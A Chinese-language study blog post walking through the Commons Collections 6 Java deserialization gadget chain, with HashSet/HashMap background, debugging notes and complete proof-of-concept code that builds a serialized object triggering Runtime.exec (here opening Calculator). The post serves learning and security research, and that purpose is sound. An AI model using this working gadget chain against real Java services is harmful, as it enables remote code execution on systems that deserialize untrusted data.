• CommonsCollection6反序列化链学习


    CommonsCollection6

    1、前置知识

    1.1、HashSet

    HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。继承了序列化和集合

    构造函数参数为空的话创建一个HashMap(),有一个参数的情况下,要创建指定容量的初始数值的哈希集合。

    我们看到add方法会调用map.put()方法。这个map就是HashMap()

    //定义HashMap,E在泛型表示集合的元素,元素的类型为Object
    private transient HashMap<E,Object> map;
    ......
    public HashSet() {
      map = new HashMap<>();
    }
    
    ......
    //创建初始容量为initialCapacity的HashSet,其实就是创建HashMap集合
    public HashSet(int initialCapacity) {
      map = new HashMap<>(initialCapacity);
    }
    
    ......
    //往HashSet添加元素,其实就是调用HashMap的put方法添加
    public boolean add(E e) {
      return map.put(e, PRESENT)==null;
    }
    

    1.2、HashMap

    HashMap 是一个散列表,它存储的内容是键值对(key-value)映射,实现了Map 接口、Serializable接口

    首先怎么怎么新建一个HashMap,这里就是创建一个整型(Integer)的 key 和字符串(String)类型的 value。

    HashMap<Integer, String> Sites = new HashMap<Integer, String>();
    

    添加键值对(key-value)的方法是put,接着上面我们添加键值对时也要传输对应的类型

     Sites.put(1, "Google");
    

    访问元素

    通过get(key),获取value的值

    Sites.get(1)
    

    删除元素

    使用 remove(key) 方法来删除 指定的key 对应的键值,删除所有键值

    Sites.remove(1);删除指定的key对应的键值
    Sites.clear();删除所有键值
    

    计算大小

    计算 HashMap 中的元素数量

    Sites.size()
    

    遍历

    通过keySet()方法获取所有的key(键),也可以通过所有的valueSet(),获取所有value(键值)

    //输出所有的键和键值
    for (Integer i : Sites.keySet()) {
      System.out.println("key: " + i + " value: " + Sites.get(i));
    }
    //输出所有的键值
    for(String value: Sites.values()) {
      // 输出每一个value
      System.out.print(value + ", ");
    }
    

    1.3、debug问题

    关于在调试put方法直接弹窗的解决办法。因为idea开启了自动tostring和展示集合对象

    image-20220403234845302

    关掉改这两个选项既正常调试

    image-20220403235036927

    2、POC利用

    2.1、利用链

    这次我们先看ysoseria的利用链

    /*
    	Gadget chain:
    	    java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
        by @matthias_kaiser
    */
    

    我们发现前面的利用链跟我们cc5可以说是一模一样,知道getValue(),cc5使用BadAttributeValueExpException的toString触发

    TiedMapEntry的toString触发TiedMapEntry的getValue,以此类推。而cc6采用的是HashSet、HashMap来完成的我们来仔细分析一下

    2.2、POC分析

    TiedMapEntry.hashCode()

    正如利用链那样可以调用getValue()方法,

    image-20220404005234548

    HashMap.hash()

    hash方法传入的参数为Object类型的key,然后用key去调用hashcode,所以我们只要传个恶意的TiedMapEntry作为hash()的key,就可以触发TiedMapEntry.hashCode()。

    image-20220404005724205

    HashMap.put()

    我们看到HashMap()的put方法,其中hash(key)的key是通过put传输的,所以我们调用HashMap的put方法时,我们恶意构造的TiedMapEntry当做key传入就可以。

    image-20220404010749208

    HashSet.readObject()

    看到通过readObject循环map.put(),从readObject读取,其中的map就是HashMap,前置知识有学习。到这里我们就可以尝试自己构造链子了。

    image-20220404011523840

    2.3、poc构造

    2.3.1、第一步

    首先我们把cc5的链直接搬过来,构造一个恶意的tiedMapEntry。

    Transformer[] transformers=new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
      new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
    };
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    Map map=new HashMap();
    Map lazyMap=LazyMap.decorate(map,chainedTransformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    

    2.3.2、第二步

    创建HashSet,把我们的tiedMapEntry作为key传进去,通过add方法调用HashMap的put方法传进去。

    HashSet hashSet=new HashSet(1);
    hashSet.add(tiedMapEntry);
    

    我们来序列化,再反序列化,但是我们在序列化的时候就已经弹窗了

    image-20220404014739962

    网上查查看看,找出问题点为hashSet.add(tiedMapEntry)方法,在该方法会中add调用了put方法,这样就会直接触发我们的利用链,那我们有啥办法吗?答案就是在序列化的时候才通过反射把lazymap传进去,这样在我们add方法后才赋值,就不会触发我们的恶意代码。

    image-20220404014856944

    2.3.3、第三步

    lazymap中用于调用的transform的属性为factory

    image-20220404015449173

    那么我们在调用HashSet的add的方法,在对LazyMap赋值时,传入一个空的ConstantTransformer,在执行完HashSet的add方法后,通过反射修改lazyMap属性factory的值为我们的恶意ChainedTransformer类。

    package com.akkacloud;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class CommonsCollection6 {
        public static void main(String[] args) throws Exception {
    
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
    
    
            Field field = LazyMap.class.getDeclaredField("factory");
            field.setAccessible(true);
            field.set(lazyMap,chainedTransformer);
    
            serialize(hashSet);
    //        unserialize();
    
    
        }
    
        public static void serialize(Object obj ) throws Exception{
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
            objectOutputStream.writeObject(obj);
        }
        public static void unserialize() throws Exception{
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
            objectInputStream.readObject();
        }
    
    }
    
    

    运行,在序列化的过程中没有问题,但是在反序列却没有弹窗!继续查找原因

    我们在hashSet的add()方法打断点调试一下,慢慢跟进到LazyMap的get方法,此时会判断我们的lazymap中是否会存在key,不存在进入if,先调用this.factory.transform(key),此时的因为我们前面把空的ConstantTransformer赋值给LazyMap,所以Lazymap的key肯定为空的。题外知识点containsKey() 方法检查 hashMap 中是否存在指定的 key 对应的映射关系

    image-20220404021151241

    但是在执行完this.factory.transform(key)后,会再一次把调用map的put()给key赋值,所以我们在反序列化的时候key里面是有东西的,在!super.map.containsKey(key)时就会判断为假,也就是有key,根本走不到this.factory.transform(key),所以我们要在HashSet的add()方法后清除lazymap的key,既调用Lazymap的remove(key),不可以使用Hashset的remove方法,因为此时hashset仍是我们传入空ConstantTransformer的Lazymap,必须要调用我们等会要操作的lazymap才可以,去除他的键值对关系

    image-20220404022756201

    2.3.4、第四步-POC

    package com.akkacloud;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class CommonsCollection6 {
        public static void main(String[] args) throws Exception {
    
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            HashMap<Object, Object> map = new HashMap<>();
            Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
    
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
            lazyMap.remove("test1");
    
            //通过反射覆盖原有lazymap类的factory属性,传入我们的恶意chainedTransformer
    
            Field field = LazyMap.class.getDeclaredField("factory");
            field.setAccessible(true);
            field.set(lazyMap,chainedTransformer);
    
            serialize(hashSet);
            unserialize();
    
    
    
        }
    
        public static void serialize(Object obj ) throws Exception{
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static void unserialize() throws Exception{
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
            objectInputStream.readObject();
        }
    
    }
    
    

    image-20220404025900211

    2.4、POC调试

    首先还是在Hashset处,漏洞点打下断点

    image-20220404030921621

    跟进put方法,调用HashMap的hash方法,key为我们恶意的TiedMapEntry

    image-20220404031012729

    因为key为TiedMapEntry,所以调用的是TiedMapEntry的hashCode

    image-20220404031049413

    跟进TiedMapEntry的hashCode方法,继续跟进getValue,后面的就跟我们的cc5链一模一样了,就不赘述了,不懂得查看cc1或者cc5

    image-20220404031159585

    跟进getValue方法,继续调用get方法

    image-20220404031318167

    进入LazyMap的get方法,此时的判断就是我们构造中去除lazymap的键值对关系的原因

    image-20220404031442064

    可以已经成功进入到if,然后调用ChainedTransformer的transform

    image-20220404031609658

    后面循环就是循环执行我们的恶意代码了

    2.5、思维导图

    image-20220404032608477

    参考链接

    https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

    https://www.cnblogs.com/nice0e3/p/13892510.html

    https://www.bilibili.com/video/BV1yP4y1p7N7/?spm_id_from=333.788

  • 相关阅读:
    C++,java,python异同 快速入手其他语言 功能查询
    Python数据分析与机器学习29-支持向量机(SVM)
    SQL Server批量删除数据库中的表
    【冰糖Python】库安装 pip
    基于Java+SpringBoot+Vue校园求职招聘系统的设计与实现 前后端分离【Java毕业设计·文档报告·代码讲解·安装调试】
    Kubernetes技术与架构-网络 3
    SpringBoot-33-shiro请求授权的实现
    为知笔记打不开 ziw 文件问题
    vim 不常见但好用的命令
    每天几道Java面试题:集合(第四天)
  • 原文地址:https://www.cnblogs.com/akka1/p/16098282.html